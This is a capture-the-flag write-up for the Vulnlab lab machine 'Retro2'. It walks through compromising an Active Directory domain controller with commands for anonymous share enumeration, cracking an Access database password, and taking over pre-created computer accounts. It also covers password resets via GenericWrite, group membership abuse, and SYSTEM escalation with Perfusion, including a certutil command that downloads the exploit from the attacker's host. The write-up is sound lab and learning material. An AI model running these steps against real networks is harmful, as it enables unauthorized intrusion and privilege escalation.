Retro2 - Vulnlab
Introduction
Retro2 is an easy Active Directory box from Vulnlab that involves decrypting an MS Access database, Pre-Created Computer Accounts, GenericWrite, AddMember and finally exploiting an RpcEptMapper Registry Key vulnerability in Windows 7 / Server 2008 R2.
NMAP
1 | Nmap scan report for 10.10.112.106 |
From the Nmap scan, we can see that we are dealing with a Domain Controller, as indicated by the presence of DNS, Kerberos and LDAP.
Enumeration
SMB
Running Netexec without credentials reveals that we are dealing with a Windows Server 2008, which is quite old
1 | ➜ nxc smb 10.10.112.106 |
Let’s see if we can enumerate shares using any username
1 | ➜ nxc smb retro2.vl -u 'serio' -p '' --shares |
It looks like we can enumerate shares with a guest account, and from the previous output, we can see a non-standard share named ‘Public’. Let’s connect via smbclient and see what files are inside
1 | ➜ smbclient.py guest@retro2.vl -no-pass |
Inside the Temp directory in the Public share, there is a staff.accdb file that we can download to our local machine to examine it. Running the file
command on it reveals that it’s a Microsoft Access database
1 | ➜ file staff.accdb |
If we try to open it with Microsoft Access, it prompts us for a password. Luckily, there is an office2john
script that we can use to extract the hash and then crack it with John the Ripper
1 | ➜ office2john staff.accdb | tee hash |
As you can see, john successfully cracked the hash
1 | ➜ j hash |
Now, we can open the database with Microsoft Access and see what’s inside. There is a VBA script, and we can find some credentials for the ‘ldapreader’ user
1 | strLDAP = "LDAP://OU=staff,DC=retro2,DC=vl" |
Bloodhound
With valid credentials in hand, we can run Bloodhound to gain a better understanding of the network and the permissions our user has
1 | ➜ nxc ldap 10.10.112.106 -u 'ldapreader' -p '<REDACTED>' --bloodhound --dns-server 10.10.112.106 -c All --dns-tcp |
Looking for an interesting path to the Domain Controller, we can see the following relationships:
- The computer Account FS01 is a member of the Domain Computers group.
- The Domain Computers group has
GenericWrite
over ADMWS01. - ADMWS01 has the
AddSelf
permission over the Services group. - Services group members can RDP to the Domain Controller BLN01.
This is an interesting path! First, we need to gain access to the computer account FS01. So, how are we going to do that?
USER
Pre-Windows 2000 computers
Back in 2022, TrustedSec made a blog post about Pre-Created Computer Accounts that showcased a way to take them over. First, let’s see if that’s the case here using Netexec
1 | ➜ nxc smb retro2.vl -u 'fs01$' -p 'fs01' |
As you can see, Netexec shows as the following error message: STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT
, which means that we have guessed the correct password for a computer account that has not been used yet. Great, now we have found the correct password for FS01. However, we cannot use this computer account yet because the password has not been changed, so let’s do that. We can use this tool by Oddvar Moe called rpcchangepwd
1 | ➜ python3 rpcchangepwd.py retro2.vl/fs01\$:fs01@10.10.112.106 -newpass P@ssw0rd |
We have successfully changed the FS01 computer account password. We can verify the new credentials using Netexec, which confirms they are valid
1 | ➜ nxc smb retro2.vl -u 'fs01$' -p 'P@ssw0rd' |
GenericWrite
Now that we have control over FS01, we can abuse the GenericWrite permission we identified earlier. The typical techniques to abuse GenericWrite are:
- shadowCredentials (windows server 2016 or later)
- targetKerberoasting (the password should be weak enough to be cracked)
- Resource-Based Constrained Delegation
However, since we are dealing with a Windows Server 2008, none of these techniques will work. So, what we can do in this case? Well, there is another attribute that we can write to, which is unicodePwd
. This will allow us reset the password of “ADMWS01$”. To do this, We are going to use the following command:
1 | ➜ net rpc password 'ADMWS01$' Passw0rd1 -U retro2.vl/'fs01$'%P@ssw0rd -S BLN01.retro2.vl |
We didn’t get any error messages from the previous output, so that should have worked successfully. However, We can still verify with Netexec
1 | ➜ nxc smb retro2.vl -u 'ADMWS01$' -p 'Passw0rd1' |
It looks like the password has been successfully changed.
AddMember
At this stage, we have control over the computer account ‘ADMWS01$,’ which has the AddMember
permission over the ‘Services’ group. As we saw earlier, members of this group can RDP to the DC
Since we have the credentials of the ldapreader user, we can add him to this group and RDP to the Domain Controller. We could use the net tool, which is used for the administration of Samba and CIFS/SMB clients. However, this time, I am going to use bloodyAD.
1 | ➜ bloodyAD --host 10.10.112.106 -d retro2.vl -u 'ADMWS01$' -p 'Passw0rd1' add groupMember 'SERVICES' 'ldapreader' |
Great, it says our user has been added to the Services group. Therefore, we can RDP to the machine and retrieve the user flag
1 | ➜ xfreerdp /u:'ldapreader' /p:'<REDACTED>' /v:10.10.112.106 /d:retro2.vl /tls-seclevel:0 |
Because who can resist a nostalgic rendezvous with an OS that refuses to call it quits?
ROOT
Searching for a way to escalate our privileges leads us to the following blog posts by itm4n:
- https://itm4n.github.io/windows-registry-rpceptmapper-eop/
- https://itm4n.github.io/windows-registry-rpceptmapper-exploit/
which explain how to exploit a no-fix vulnerability in the RpcEptMapper registry key and provide us with a tool called Perfusion that we can run on the target to obtain a system shell
1 | PS C:\temp> certutil.exe -urlcache -f http://10.8.0.210/Perfusion.exe Perfusion.exe |
1 | PS C:\temp> .\Perfusion.exe -c cmd -i |
The exploit is successful, and we are SYSTEM 🐱. Let’s grab our root flag
1 | C:\temp>type \users\administrator\Desktop\root.txt |
Even though we got a SYSTEM shell by running the exploit, understanding exactly what the exploit did is way more fruitful and fun. As xct wisely says:
Resources
- https://trustedsec.com/blog/diving-into-pre-created-computer-accounts
- https://www.thehacker.recipes/ad/movement/builtins/pre-windows-2000-computers
- https://www.thehacker.recipes/ad/movement/dacl/addmember#addmember
- https://itm4n.github.io/windows-registry-rpceptmapper-eop/
- https://itm4n.github.io/windows-registry-rpceptmapper-exploit/
- https://github.com/itm4n/Perfusion